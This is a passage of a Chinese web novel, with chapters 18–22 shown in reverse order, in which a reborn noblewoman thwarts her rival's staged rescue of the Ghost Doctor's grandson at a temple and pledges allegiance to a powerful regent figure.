她解释了自己出现在皇觉寺的原因,有点离谱,但,合情,又合理。 大家猜出她没说出口的话,说白了,就是过来搞破坏嘛。 定国公微微蹙眉,好戏?是指刚才的事?闹的这么大,确实有刷声望之嫌。 叶宜蓁的心怦怦狂跳,浑身发冷,她怎么会知道?难道,她身边有奸细?不,不可能! “你一派胡言。” 一个官眷忍不住问道,“你是说,拐子事件是叶宜蓁精心筹划的?” 她是大理寺卿的嫡女秦素素,性情刚烈,爱憎分明。 叶宜蓁的心一惊,刚才两人还相谈甚欢,约好了要经常走动。 “素素,你又不是不知道我的为人,你觉得我是那样的人吗?” 之前,秦素素看她那般热心肠,对一个素不相识的孩子伸出援手,对她的印象极好,还打算将她引入自己的朋友圈。 可这会儿,她有些动摇了,执意要一个答案。 云筝微微颌首,语气坚定,“是。” 秦素素心乱如麻,“这怎么可能,她图什么?图一个美名?” 一道清脆的声音响起,“还图我爷爷的本事。” 一个小男孩从屋内走出来,小脸嫩嘟嘟的,一双眼睛又黑又亮。 叶宜蓁瞳孔剧震,她寻找了半天的人,怎么会这里?云筝……抢来的? 大家也认出来了,秦素素呆呆的睁大眼睛,“天啊,他怎么在这里?” 云筝冲安康招了招手,安康乖巧的走到她身边,小手拉着云筝的手,仿佛这样能让他安心。 “被我派人救下了。” 救下?这话很有意思。 看着小男孩信任的依偎在云筝身边,叶宜蓁又气又恼,她累死累活,忙活了半天,什么都没得到,全给云筝做了嫁衣? 不行,她不能让云筝摘了桃子。 她露出最和善最温柔的笑容,“小家伙,你别上她的当,她是个诡计多端的女人,满嘴谎言,她是要借着你的手害我。” 背后说人坏话,不对,她是当面说,人美心善的人设已经摇摇欲坠。 哪个好人会这么说自己的弟妹?但她顾不上了,这个孩子太重要! 安康抿了抿嘴,天真的问道,“你们什么仇什么怨?” 叶宜蓁觉得这孩子之前对她有好感,先入为主,应该还能挽回。 “她恨我抢了她的夫君,但,其实,她才是中途插进来的第三者,我和夫君青梅竹马,从小一起长大的。” 她只想怎么哄回小男孩,却没有发现一边的秦素素脸色变了。 什么叫第三者?据她所知,云筝和江闻舟的婚书更早,婚书为凭,而不是靠所谓的感情。 呵,原以为叶宜蓁也是受害者,还挺同情她的,看来是自己想多了。 安康眨了眨眼睛,“那,你们为什么还让她插进来?她拿刀威胁你们了?” 稚子童言最真实,最戳心窝,叶宜蓁的笑脸僵住了。 “不是这样的,她家……用钱砸人……” 这话哄得了普通香客,却骗不了消息灵通的权贵,也骗不了安康。 这一刻,安康对她的好感消失殆尽,心中的天平终于倒向云筝。 他年纪虽小,但也有基本的判断。 “你没钱?侯府嫌弃你穷,所以不肯娶你?” 这话戳痛了叶宜蓁,面红耳赤,眼眶泛红,像是受了天大的委屈。 江闻舟看不下去了,站出来护花。 “臭小子,你怎么说话的?太没有礼貌,你知不知道,她为了救你,花费了多少时间和精力,她一个娇滴滴的女子带着下人跑遍了全寺,累的快晕过去了,做人要懂得感恩。” “你给我跪下,向蓁蓁道歉。” 身为侯府世子,生来尊贵,一张口傲慢无比。 安康很讨厌他,站着不动,“知道我爷爷是谁吗?” 江闻舟冷笑一声,“我怎么知道?” 安康像看白痴般看着他,江闻舟感觉被冒犯了,想给他一个教训。 忽然,就见安康举起手指向叶宜蓁,“她知道。” 他又指向云筝,“她也知道,呵,就你不知道,傻子。” 所有人都懵逼了,啥情况?这小男孩的爷爷是什么了不得的人物? 叶宜蓁脸色发白,心里七上八下,跟她预想的不一样,到底哪里出了问题? “我不知道!” 云筝呵呵一笑,“别装了,这孩子的爷爷就是鼎鼎大名的鬼医,医毒双绝,你安排了这么一出戏,不就是想让鬼医为你卖命吗?” 如一滴油落入水中,全场顿时炸开了,鬼医?医毒双绝?得到了此人,是不是就能想弄死谁,就能弄死谁? 你派手下绑了人家的孙子,又装好人,声势浩大的营救,既得了美名,又得了利。 还能挟恩求报,用恩情拿捏住人家。 妈呀,好人坏人都是你,你咋这么能呢? 可怕,这心机太可怕了。 叶宜蓁脑袋一片空白,愤怒的看向云筝,又是她坏自己的坏事! 云筝冷冷的瞪回去,四目相对,火花四溅,一触即发…… 第22章 你扣一个偷情,我扣一个造反 随着时间的推移,叶宜蓁越来越焦急,“怎么还找不到人?按理说,我们第一时间封锁寺庙,贼人应该还在寺里。都找过了吗?” “都找过……啊,还有几个雅院没找。” 叶宜蓁闻言皱了皱眉头,雅院都是有权有势的人包下来的, 谁敢去搜?不想活了? 她看着天色,这都中午了,留给她的时间不多了,不禁忧心忡忡,“江哥哥 ,万一歹徒偷偷躲进雅院,不小心伤到贵人,就是我的罪过了。” 明明是想搜院子,到她嘴里,就是替贵人们担心,显得特别善解人意。 江闻舟眼睛一亮,“我亲自走一趟,跟各位贵人打声招呼。” 说是打招呼,其实就让人自查一下,他也能结交一番,拓展人脉。 两人带着手下去敲各个雅院的门,身后还跟着一群热心肠的香客。 包下雅院的都是高官家眷和勋贵家眷,都没有为难他们,客客气气的。 江闻舟不搜,而是让他们自搜,不会伤了他们的体面,说到底是为了他们的安全着想。 这不,他和叶宜蓁收获了一波好感。 还剩下最后两个雅院,叶宜蓁饿的肚子咕咕叫。 江闻舟也饿了,“我们先吃点东西吧。” 叶宜蓁是又累又饿,疲惫不堪,但还坚持着,“不了,一想到孩子在受苦,我就担心的食不下咽,只想尽早将孩子救回来。” 她无时无刻在表现自己的美德,让众人夸了又夸。 听着大家的夸赞声,叶宜蓁心中暗暗得意,过了今日,她将是京城口碑最好的贵夫人。 云筝拍马都比不上她! 一想到能将云筝踩在脚底下,一泄心头之恨,她就干劲满满。 最靠近枫叶林的雅院内,云筝痛痛快快洗了一个热水澡,换上干净的衣服,叫了一桌子素菜。 小男孩也被人带下去漱洗,换上不合身的干净衣服,坐在云筝对面大快朵颐,吃的小脸颊鼓鼓的。 他早就饿坏了,吃什么都香。 云筝给他挟了几筷子菜,“慢慢吃,没人跟你抢。” 小男孩偷偷看了她一眼,眼神充满了怀疑,纠结,不安。 云筝看在眼里,也不多说,这小家伙经历了这种破事,不可能轻易相信别人了。 就算她说的再多,他还半信半疑,不过没关系,只要他配合就行。 吃饱喝足,春华送上冰糖燕窝当饭后甜点。 小男孩尝了一口,眼睛刷的亮了,“这个好好喝。” 云筝看出来了,这小子就是个小吃货。“小家伙,你……” 小男孩两三下就把燕窝喝完了,满足的摸摸肚子,“我叫安康。” 一听这话,云筝就知道暂时得到了他的信任,这小屁孩还是挺机灵的。 “你怎么联系你爷爷?需要我帮忙吗?” 正说着话,外面传来敲门声。“开门,快开门,我是平西侯府世子,有事相告。” 云筝放下白盅,擦了擦嘴,看向对面的安康,“他们来了,你先去屋里。” “好。”安康乖乖的跳下椅子,飞快冲进屋子,却悄悄凑到窗边偷看。 云筝无视外面的敲门声,轻声吩咐下去,“去,泡壶好茶,上些干果茶点。” “是。” 江闻舟敲了半天,门一直没有开,不禁纳闷。 里面应该有人啊。 他看向寺里的方丈,“怎么一直不开门?拐子不会躲在里面吧?这是谁家包下的?” “这……”方丈哪里知道,昨晚来的香客太多,他不可能一一接待。 他在人群里寻找知客僧的身影,江闻舟已经不耐烦了。 “快说啊,要是出了什么事,你们皇觉寺担待不起。” 就在此时,院门开了,一个青衣侍女探出头,“谁呀?” 叶宜蓁一眼就认出了她,顿时激动起来,“春华?怎么是你?你家小姐呢?” 春华微微蹙眉,还没有说什么,江闻舟就将她一把推开,迫不及待的推门而入。 他一眼就看到坐在树下喝茶的美丽女子,一袭紫衣,佩戴珍珠首饰,显得高贵典雅。 他顿时火冒三丈,“云筝,果然是你,你一晚上没回侯府,居然躲在寺庙偷情!” 全场一片哗然,偷情?跟谁?好刺激! 最喜欢这种桃色绯闻了! 叶宜蓁眼中闪过一丝淡淡的笑意,嘴上却痛心疾首,“弟妹,你怎么这么糊涂? 怎么对得起世子?你让侯府的脸面往哪里搁?” 江闻舟面红耳赤,情绪极为激动,“云筝,你跟人通奸,不配当我们平西侯府的二少夫人。” 他俩生怕别人不知道云筝的身份似的,一上来就大声宣扬,还给她扣上了罪名,疯狂的想将她打下尘埃,狠狠拿捏住她。 他气势汹汹的大喝道,“你这是要浸猪笼的!来人,把她押回去处置!” 太好了,云筝的名声毁了,再也嚣张不起来,这辈子只能给平西侯府做牛做马,任由他们践踏。 手下们如狼似虎的扑上来,云筝坐着不动,忽然大喊一声,“不好了,平西侯府要造反!” 你扣一个偷情,我扣一个造反,很公平,是吧? 这一嗓子把大家吓了一大跳,造反?这可比偷情严重多了。 江闻舟气坏了,“你胡说什么,快,把人带走。” 手下粗鲁的将云筝往外扯,云筝努力挣扎了几下,“我没有偷情,我昨晚躲在这里,是因为听到了一个骇人听闻的秘密……” 她是语不惊人,死不休,成功激动了香客们的好奇心。 江闻舟已经领教了她的嘴皮功夫,不敢再让她发声。 “把她的嘴堵上。” 云筝看向人群,面色惶恐,“这是要杀人灭口,救命啊。 ” 江闻舟气的浑身发抖,亲自过来捂嘴。 一道威严的声音猛的响起,“住手。” 江闻舟猛的扭头,脸色变了几变,“定国公,您怎么来了?此女心性狡诈,就喜欢胡说八道,你千万别信她的鬼话……” 定国公从隔壁院落走出来,很是威严。“让她把话说完。” 江闻舟脸色不好看,却不敢跟定国公对着干。 定国公虽然退了下来,但,他的儿子镇守西北,麾下有十万精兵,权势滔天,不像他们定西侯府,空有爵位,却没有实权。 定国公的视线落在云筝脸上,这小姑娘不是个简单的,“二少夫人,你说。” 云筝一副心有余悸的模样,神色惶惶,“是这样的,我无意中听到叶宜蓁精心安排了一个阴谋……” 如一道惊雷砸下来,叶宜蓁闻声色变,不!不会的,她不可能知道! 第21章 你骂的好脏 叶宜蓁快要疯了,她辛苦了半天,孩子居然就在她的眼皮底下消失了! 她不是白忙活了吗?这戏可怎么唱下去?怎么跟鬼医搭上线? “有谁看到孩子了?” 一名看客犹豫了一下,“好像被人带走了。” 叶宜蓁又气又急,谁摘了她的果子?“被谁带走了?快说啊。” 那人认真想了想,“好像是一个年轻小伙,脸很黑。” 叶宜蓁脸色大变,“可能是拐子的同伙,快去找。” “江哥哥,你让官府派人来找,一定要把孩子救回来。一想到无辜的孩子受苦,我就难受。” 江闻舟见状,眼神越发温柔,不愧是他喜欢的女人,太善良了。 他轻声安抚,“别担心,那孩子看着挺机灵的,不会有事的。” 另一边,云筝捂着孩子的嘴,飞奔进了事先安排的路线,雅院旁边的一片枫叶林。 这里是赏景的绝佳地点,但,这会儿大家都挤在大殿,林子里没有人,很安静。 她将拼命挣扎的小崽子往地上一扔,累的够呛。 “现在安全了,你赶紧走吧。” 本来想逃跑的小男孩愣住了,呆呆的看着她,满眼的怀疑,“你不是拐子同伙吗?” 云筝坐在地上擦拭额头的汗珠,故意涂黑的脸蛋露出真容,白嫩,漂亮的脸蛋。 “你叫姐姐的那个女人才是拐子同伙,小家伙,你上当了。” 他这年纪的孩子说懂吧,懵懂,说不懂吧,还挺懂的。 小男孩如被一盆冷水从头浇下来,愤怒至极,“不可能!她是好人!她还救了我!” 云筝怜悯的看着这个小家伙,看的出来,他被家人保护的很好,天真而又热诚。 可前世,他就是叶宜蓁手里的刀,专替她干脏活,最后还被灭口了。 “今日这一出是她安排的,当众英勇救人,既刷了善良贤惠的美名,又得到你家人的好感,让你家人为她卖命,你啊,就是她达到目的的利用工具。” 小男孩大惊失色,“她怎么可能知道我的家人是谁?” 云筝摊了摊手,“她知道,我也知道啊,你爷爷就是赫赫有名的鬼医。” “而你,是鬼医唯一的孙子,也是唯一的家人,只要拿捏住你,你爷爷就得乖乖给她当孙子,让他下毒就下毒,让杀人就杀人。” 每一句话都让小男孩心惊肉跳,本来是不信的,但,他的身份被一口道破,这阴谋被说的明明白白,不得不信。 他又气又急又害怕,“不不不,不行,不可以。” 云筝嘴角轻轻扬起,叶宜蓁这个救命恩人是当不成了,还会被鬼医报复,等着被反噬吧。 “少废话,你赶紧去找你爷爷吧。” 小男孩满眼的怀疑,他现在谁都不相信,“你明明是女的,为什么要扮成男人?你为什么帮我?” 云筝冷哼一声,“我跟她有仇,一旦她得了你爷爷这个助力,我就得死!所以,我必须得搞破坏。” 这理由无懈可击,小男孩认真思索了半天,眼珠转了转。 “你是谁?她又是谁?” 在她身上,没有感受到恶意,又是一个手无缚鸡之力的弱女子,应该没有危险吧。 云筝看着一本正经的男孩,有些无奈,“你怎么这么多问题?赶紧逃啊,她势大,要是被她抓住,你和我都得完蛋。” 小男孩不再犹豫,站起来往外跑,“谢谢。” “不必,我是为了自救。”云筝看着小男孩奔跑的背影,目光悠远笃定。 果然,没过多久,小男孩就急急的跑回来了。 云筝嘴角翘了翘,这可是她计划中最关键的一环,少了他可不行。 “你怎么又回来了?” 小男孩一脸的惶恐和戒备,“封寺了,前后门都被封了,任何人都不得进出,都在找我,我不敢出去。” “她是官府的人?” 云筝大大方方的点头,“她是平西侯府的大少夫人,叶宜蓁。” 小男孩震惊的张大嘴巴,侯府的人?“那你呢?” 云筝没有隐瞒,“平西侯府的二少夫人,云家商号的大小姐,云筝。” 小男孩更震惊了,“那你们是一家人啊,为什么斗的你死我活?” 云筝没把他当孩子,而是当成一个平等的人,“跟你说说昨日发生的事吧……” 她说的波澜起伏,将那对男女的无耻作派说的淋漓尽致,把小孩的情绪都带起来了,气愤的举着小拳头,“你好惨啊,遇到一对奸夫淫妇,还想谋财害命,好贱!弄死他们!” 云筝:……这小孩骂的比她脏! “那你愿不愿意帮我?或者说,帮你自己?” 小男孩眼珠一转,“怎么帮?” 云筝笑眯眯的捏捏他肉乎乎的小脸蛋,“当众拆穿她的真面目,不能让你爷爷和世人被她欺骗,也杜绝她再将魔爪伸向你们祖孙俩,永绝后患。 ” 小男孩想了想,“那,你怎么保证我的安全?” 哟,小屁孩还挺聪明的,云筝乐了,“我能救你一次,就能救你第二次。” 小男孩半信半疑,“我能相信你吗?” “给你。”云筝从怀里取出一叠银票,递给小男孩。 小男孩数了又数,眼睛都直了,手都在抖,“一万两银票!” 云筝微微一笑,“你可以不信我的人品,但可以永远相信银子。” 说的好有道理,小男孩就这么被说服了。 他,绝对不是因为爱财! 走,干死他们! 隐身在树上的厉无恙嘴角直抽,她是真的喜欢拿钱砸人,偏偏,她说的好真诚,让人生不出反感。 她每一步都是精心筹划的。 抢人,伺机而动。 放小男孩离开,是为了得到他的信任。 揭穿叶宜蓁的阴谋,是为了激起男孩的愤怒,彻底断了叶宜蓁的后路。 自曝身份,是为了让男孩觉得他们都是受害人,是同一个阵营的。 最后,扔出一叠钱,彻底说服男孩,完成闭环。 每一个环节都环环相扣,全在她的掌控中。 她将人心算到了极致! 不过,她的心是正的,堂堂正正的明谋,没有牵扯无辜的人。 忽然,他有点期待接下来的发展。 此时,叶宜蓁亲自带着下人四处寻找,累的气喘吁吁还坚持着,赢得了无数人的赞美。 但,现在越风光,越得意,之后,摔的越惨烈! 第20章 截胡,成功 叶宜蓁被撞倒,重重摔在地上,疼的惊叫一声,面纱掉在地上,露出一张清纯美丽的脸。 撞人的是一个白白嫩嫩的小男孩,唇红齿白,六七岁的样子,衣服脏兮兮的,胸前戴了一块紫玉佩。 此时,他神色慌乱,撞了人也不停下,四处疯狂逃窜。 江闻舟赶紧上前扶起叶宜蓁,既心疼又生气,“把这臭小子抓起来。” 几个下人上前,很快就把孩子拎起来,孩子拼命挣扎,双脚乱踢,“你们这些坏蛋放开我,放开。” 他小脸都憋红了,好像要哭了。 叶宜蓁见状,温柔劝道,“江哥哥,他只是一个小孩子,放了他吧。” 江闻舟正在气头上, 怒气冲冲的瞪着小男孩,“不行,我今日非教训他一顿……” 他撸起袖子一把将孩子拎过来,叶宜蓁赶紧拉住他,“别这样,会吓坏小孩子的。” 她温柔美丽又善良的模样,让很多围观的人心生好感。 人群里,有不少官眷纷纷点头,人美心善,是个好的。 只有挤在人群里的云筝若有所思,有点不对劲,太刻意了。 就在此时,一个中年男人冲了过来,紧张看着江闻舟手里的孩子。 “公子,我家孩子还小,不懂事,我向你赔罪,请把孩子还给我。” 哦,孩子的父亲来了,还赔罪道歉,态度非常好。 江闻舟也不好揪着不放,将孩子递过去。 谁知,刚才还拼命挣扎的孩子紧紧抱着江闻舟的脖子,死活不肯松手。 “不,我不是你家的孩子,我不认识你。” 就在众人惊讶之时,中年男人面露伤心之色,“俊儿,爹不是不让你吃窝丝糖,是你吃太多了,对牙口不好,你再生气也不能不认自己的亲爹。” 原来如此,这年纪的男孩子连狗都嫌。 中年男人伸出手,“俊儿,跟爹回家。” 孩子吓的拼命躲避,眼泪就下来了,“你是坏人,是拐子,我不认,你不是我爹。” 中年男人眉头一皱,强行将孩子抱过来,“哎,你这孩子,太不懂事了。对不住,打扰各位了。” 孩子大声尖叫,还用脚踢他,他都好脾气的包容。 他抱着孩子转身就走,大家纷纷让开一条道, 还挺同情他的,这孩子太难管了。 孩子满眼的惊恐和绝望,谁来救救他。 就在此时,一道清喝声猛的响起。“且慢。” 是叶宜蓁,她义正言辞的拦住去路,“你说,这孩子是你家的,你怎么能证明?” 中年男人呆了呆,随后无奈的摇头,“我们是亲生的,还要怎么证明?” 小男孩眼中多了一丝光,大声求救,“姐姐,救救我,这真的是拐子,我被他拐来的。” 中年男人气的满面通红,却不忍心骂他,看客们唏嘘不已。 叶宜蓁挺身而出,“他叫我一声姐姐,这事我就管定了。” “除非你能证明这孩子是你亲生的,否则,休想将孩子带走。” 孩子感动的热泪盈眶,四周的人都不信他,只有这个漂亮姐姐站出来帮他,这一刻,她就是他所有的希望。 中年男人无奈的轻叹,“他叫姜俊,今年七岁,我们是济县人,来京城寻亲未果,特来皇觉寺烧香拜佛,祈求平安,这孩子一路哭闹,我打了他一下,他就闹个不停。哎,都怪我平时太惯着他。” 他长的憨厚老实,一身锦袍干干净净,让人心生好感。 相比之下,孩子的暴躁失控,吵的人头疼。 大家都相信男人的话,纷纷指责,“这孩子太不懂事, 就是打的少了。” “就是,别太疼爱了,该管教时还得管。” 孩子崩溃了,慌乱不安,“不是的,他说谎,他是拐卖孩子的坏人,你们不要相信他。” 中年男人很伤心,眼角滚落两颗泪珠,“你这孩子,太伤我的心了,哎。” 他抱着孩子往外走,脚步极为快速,跟云筝擦身而过时,云筝鼻子嗅了嗅,这是迷药的味道? 不对, 这男人有问题。 难道,这孩子就是鬼医的孙子? 她脑子飞转,刚想阻止时,叶宜蓁抢先了一步,“等一下。” 中年男人有些不耐烦,但语气很温和,“这位夫人,您还有什么事吗?” 叶宜蓁眉头紧皱,视线在中年男人和孩子身上来回闪动。 就在大家茫然时,叶宜蓁正气凛然的指控,“你不是孩子的父亲,你是拐子。” 现场一片哗然。 云筝嘴角勾起一道嘲讽的弧度,确定了,这就是叶宜蓁救人的场景。 她本以为是悄无声息的将人救了,没想到是万众瞩目之下,轰轰烈烈,这……很符合叶宜蓁的性格。 这是一场戏,成全叶宜蓁美名,又能让鬼医爷孙俩感恩戴德的的戏。 演的不错,可惜,遇上了她! 中年男人急了,大声反驳,“你胡说什么,让开。” 叶宜蓁拦着他,不肯放他离开,“你是京城口音,孩子是南方口音,这怎么解释?” 中年男人的脸色微变,“我平时生意忙碌,将孩子放在南方老家,让祖父祖母照顾,难道不行吗?” 叶宜蓁一副智珠在握的笃定模样,“行,但,你穿的鞋子暴露了真相。” 大家下意识的看向男人的鞋子,很正常啊。 有人忍不住问道,“鞋子哪里不对?” 叶宜蓁抿了抿嘴,“你的衣着虽光鲜,鞋子却是市井百姓最喜欢的千层底布鞋,而这孩子穿的是乌皮靴。” “要知道,乌皮靴不是一般人家能买到的,你不穿,是买不起吗?还是买不到?看你衣着打扮也不像是委屈自己的人。” 她义正言辞的轻喝,“所以,你们根本不是亲父子。” 这一刻,她仿若是踱上一层金光的活菩萨,让无数人心折赞美。 男人闻声色变,扭头就跑。 大家惊了,“哎哟喂,真的是拐子,快救孩子。 ” 云筝看着这一场闹剧,不动声色的靠近,伺机而动。 几个官眷围在叶宜蓁身,满脸的佩服,“您好生聪明,正义又善良,不知是哪家的夫人?” 叶宜蓁心中得意,嘴角轻轻扬起,羞涩浅笑。 “区区小事,何足挂齿,看到不公之事挺身而出,是我该做的。” 江闻舟一脸骄傲的看着心爱的女人,冲手下使了个眼色,手下立马扬声道,“这是我们平西侯府的大少夫人。” 这是替叶宜蓁扬名的好时机。 大家对她赞不绝口,“原来是侯门少夫人,还这么谦虚,太让人佩服了。” 叶宜蓁笑的腼腆,“过誉了,过誉了。” 另一边,拐子被看客围殴,大家最恨这些拐子,不知害了多少人家。 就在一片混乱时,云筝抓住时机,眼明手快一把抢过孩子,飞奔离开。 哈哈哈,截胡成功!开心! 叶宜蓁忙活了半天,全为她做了嫁衣! 但,这只是第一步,她还有后招呢。 等叶宜蓁应酬完官眷,一回头,脸色大变,“孩子呢?怎么不见了?快去找,一定要找回来!快!” 啊啊啊,她要疯了! 第19章 认主?还是抱大腿? 厉无恙神色淡淡的,“你找一个瘫子当主子,算是找错了人,我什么都做不了。” 云筝的视线落在他腿上,闭着眼睛说瞎话,真的好吗?“你可以帮我干掉平西侯府。” 厉无恙微讶,怎么不是求把情敌干掉?不指望跟世子琴瑟和鸣了? “平西侯只能换人,不可能干掉。” 云筝怔住了,“呃,为什么?” 厉无恙坐在窗边,神色淡漠如雪,“开国皇帝曾经允诺,平西侯府与国同休戚,而且侯府有免死的丹书铁券。” 云筝目瞪口呆,“同国同休戚?丹书铁券?我怎么从来没听说过?” 这些都是保命符,第一代平西侯到底立下了什么不世功勋? 问题是,她被关在侯府十年,都不知道这些信息,这正常吗? 厉无恙身为明镜司的主人,知道太多的秘密,“你不知道的多了。” 云筝沉默了,这就是阶层带来的信息差。 厉无恙看着她的脸色变来变去,仿若调色板,感觉有趣,“你还想把侯府干掉吗?” 云筝心里发苦,敌人太强大,但也彻底激起了她的斗志,拚着一身剐,敢把皇帝拉下马! “想!统统干掉!” 厉无恙眼底沉沉,“明知不可为而为之,是蠢。” 云筝昂着脑袋,一脸的绝决,“虽千万人,吾往矣,九死而不悔,请九千岁助我。” 就算是逆天而行,她也要争一争。 厉无恙定定的看着她,她身上有一股孤注一掷的孤勇。 良久后,他说道,“本王最恨背叛。” 云筝不假思索的开口,“主不疑,臣不弃。” 这是个小滑头,有先置条件,而不是一味的愚忠。 是臣,而不是奴婢!全是小心机! 但,这话很对厉无恙的胃口,没有永远不变的忠心,就看这忠心值不值得。 “别忘了你今晚说的话,否则……”他挑了挑眉,语气凉薄至极,“抄家灭族。” 这算是接受了云筝的投诚,她心中大定,郑重其事行了一个大礼。 云家总要择一个靠山的,挑谁不是挑呢。 按理来说,最好的选择是当今圣上,但,一是很难靠上去,二是,圣上的疑心很重,不好伺候。三是,不知为何,圣上对女性的打压力度远超前朝。 她纵有一身本事,只会被君王嫌弃不安分。 那,为什么不能是九千岁?地位超然,位高权重。 认主?也可以是抱大腿! 厉无恙抬了抬手,云筝站了起来,眼珠微转,“您受伤了?我这有上好的药,您要吗?” 她的鼻子很灵,靠的这么近,早就闻到血腥味。 这也是一种示好的方式,她五官灵敏,真的很有用。 厉无恙不得不说,她的心眼是真的多,不过,胜在聪明懂分寸。 他的胳膊受了伤,还渗着血丝。 看着他单手笨拙的处理伤口,云筝无声的叹息,上前两步,“我来吧。” 她小心翼翼的帮他处理伤口,目不斜视,安安分分,绝不触雷池一步。 厉无恙嘴角翘了翘,还算懂事,“过几日,本王给你送一个武婢。” 云筝精神一震,她身边确实缺一个会武功的侍女。“谢九千岁。” 他居然护短!她好像抱对了大腿! 清晨,云筝是被叫醒的,困的厉害,眼睛都睁不开。 春华服侍她起床梳洗,“小姐,您昨晚没睡好吗?” 云筝心中有事,翻来覆去折腾了半夜,好不容易合眼,就被叫醒了。 “昨晚你没听到什么奇怪的声音?” 春华就睡在外间,按理说,里屋的动静瞒不过她的耳朵。 春华很是茫然,“没有啊,一觉睡到大天亮。” 云筝定定的看着她,知道她没有说谎,心中更加疑惑,但嘴上没说什么,吃了早膳,匆匆赶往大殿。 大殿已经挤满了人,都在争抢第一炷香,云筝没有凑上前,而是躲在角落四处张望。 果然,在人群里看到了那两道身影。 叶宜蓁一袭素衣,戴着面纱,整个人飘飘欲仙,柔弱无骨的倚靠在江闻舟怀里。 “江哥哥,我们能抢到第一柱香吗?我想求菩萨保佑我们白头到老,永不分离。” 江闻舟含情脉脉的看着她,“一定能。” 他已经让下人拿着平西侯府的令牌去抢位置,不一会儿,下人苦着脸回来。 “世子,僧人要一千两银子。” 江闻舟脸色一变,“我们侯府的令牌没用?” 下人小心翼翼的开口 ,“有用,但,僧人说,别人愿出五千两,看在我们侯府的份上,只需一千两。” 人家寺庙僧人也是要吃饭的,再说了,就算皇室中人上寺庙烧香,也会给足香火钱,你一个侯府凭什么例外? 而且,皇觉寺已经给足了脸面,平西侯府面子值四千两,这都是人情,将来要还的。 江闻舟闻言,脸色不好看,钱,钱,就知道钱! 叶宜蓁咬着嘴唇,善解人意的说道,“要不,算了吧,我们侯府花了不少钱办婚礼,暂且缓缓。” 她知道侯府穷,但没想到一千两都拿不出来。 江闻舟可不想在心上人面前丢脸,“为了你,花再多的钱也是值得的,不就是一千两吗?不贵。” 他摸了摸口袋,只有五百两,这是他最后的私房钱。 他看向手下们,“我今日没多带银子,你们几个也凑一凑,到时再还你们。” 手下们面面相觑。 这一切全落到云筝眼里,不禁乐了,又穷又抠,又要面子。 难怪,平西侯府落败的那么快。 江闻舟和叶宜蓁共同上了第一炷香,这才退了出来。 来都来了,四处转转,顺便散散心。 两人并肩走着,叶宜蓁一脸的担心,“弟妹一晚上没回家,也不知遇到了什么事,真让人担心。” 原以为是个聪明的,其实是个蠢货,新婚第二日就在外留宿,留了这么一个大把柄,不知死活的女人。 江闻舟的脸色沉了下来,“那个红杏出墙,不安于室的女人,我倒八辈子霉才将她娶进门,这一次云家必须给我们侯府一个交待。” 什么交待?当然是给赔偿。 嫁妆暂时不能动,但云家还有商号,有银子呢。 他们聊的正欢,却不知,云筝悄无声息的尾随在他们身后,蓄势待发,择机而动。 没办法,她只知道叶宜蓁有机缘,却不知那个男孩在哪里。 只能跟着叶宜蓁,见机行事。 而,云筝不知道的是,隐在树上的厉无恙看着她的背影,微微蹙眉。 虽然她改头换面,穿了一身男装,但,他还是一眼就认出了她,她那双眼睛太特别了,干净中透着一丝桀骜不驯。 鬼鬼祟祟的,这是在干嘛? 就在此时,一道身影像支利箭般冲向叶宜蓁,跟她撞了个满怀,叶宜蓁没站稳,整个人重重摔了出去。 “啊。”一道惊叫猛的响起。 云筝精神大震,来了,来了! 第18章 撞见九千岁的秘密 等云筝赶到皇觉寺时,暮色渐近,彩霞满天。 知客僧匆匆赶过来,将一行人带进寺中,云筝诚心上了三炷清香,虔诚的跪在佛祖前,默默祝祷。 她起身后,表示要留下来住宿。 知客僧一脸的为难,婉转的拒绝,“女施主,我们寺里的香房已经被人订光了,下次请早。” 除了家丁护卫外,云筝只带了季嬷嬷和春华。云筝看了春华一眼,春华立马拿出一叠银票,“这是我们的香火钱。” 知客僧的眼睛一亮,好大的手笔。 “啊,差点忘了,还有一个雅院空着,女施主,请跟我来。” 果然,有钱能使鬼推磨。 雅院不大,但布置的极为清幽,这是专为贵人保留的,以防万一。 云筝打量了几眼,不愧是前朝皇家寺庙,修建的富丽堂皇,气象万千。 前朝灭亡后,皇觉寺就成了普通寺庙,对外开放,人人都能来烧香。 听说,皇觉寺很灵验, 所以香火极旺,尤其是每月的初一和十五的第一柱香,人人争抢。 明日就是九月初一,不少香客提前住了进来,只为争第一柱香。 知客僧得了赏钱,热情又周到,乐滋滋的送来了热水和一桌素斋。 云筝让春华和季嬷嬷坐下来陪她一起吃,春华不敢坐,站在一边为她布菜。 “听说皇觉寺的素斋是一绝,小姐,这素烧鹅您快尝尝。” 素烧鹅,是豆腐皮包着香菇丁和笋丁,豆腐皮炸的金黄酥脆,一口咬下,蔬菜的鲜香和豆香完美融合,绝! 罗汉斋是一锅杂烩,田间时蔬和菌菇放在砂锅慢慢炖,每一样相互交融,浸满汤汁,口感丰富,鲜香可口。 更出挑的是一碗素面,汤头鲜美,浇头是雪菜鲜笋,鲜的不得了。 云筝来回奔波早就饿了,吃了不少,一不小心就积食了 ,睡到半夜爬起来,在房间来回踱步,脑子转个不停。 明日,叶宜蓁会在这里救下一个身份特殊的孩子,鬼医唯一的孙子,从而得到了鬼医的三个条件。 这鬼医不分正邪,全凭自己喜恶行事。 叶宜蓁得了这样的机缘,治好了几个贵人的病,得了贵人的垂青,从而平步青云。 而云筝前世莫名病倒,缠绵病榻,不死不活,也是鬼医的手笔。 所以,不管如何,都要阻止叶宜蓁得到这份机缘。 她要截胡! 她越想越亢奋,推开窗子透透气。 “扑通。”外面传来一声异响,云筝下意识的抬头看过去,入眼的一幕让她惊呆了。 一道黑影正翻隔壁的墙 ,身手敏捷,在皎洁的月光下,黑影的侧脸映入云筝的眼帘,虽然戴着面罩,但她一眼认出了对方,不禁倒抽一口冷气。“嘶。” 她的声音很轻微,反应过来已经捂住嘴,但,那道黑影听见了,猛的回头,一双清冷的黑眸瞬间锁定她。 云筝感觉自己被猛兽盯上,一阵心悸, 不由自主的吞咽下口水。 黑影微微蹙眉,踩在墙头, 一跃而起,身影飞了过来。 “云大小姐,大晚上的不睡觉,盯着男人看,不好吧。” 云筝僵在当场,一动不敢动,视线不敢乱飘,要灭口吗?“您……大晚上的乱跑……” 话一出口,她就后悔了,闭嘴吧。 黑影一双黑眸冷冷的看着她,仿佛有杀气闪过,“你看到了什么?” 云筝只觉得一股寒气从脚底升起,迅速向四肢蔓延,“我什么都没看到,我睡着了,我睡着了。” 她僵直着转身,一步步走向床榻,恨不得立马晕死过去。 “站住。”一道清喝声响起。 云筝脚步顿住,一颗心怦怦狂跳。 男人若有所思,“你刚成亲,深夜怎么会在这里?” 云筝手心全是冷汗,这位是不想藏了? 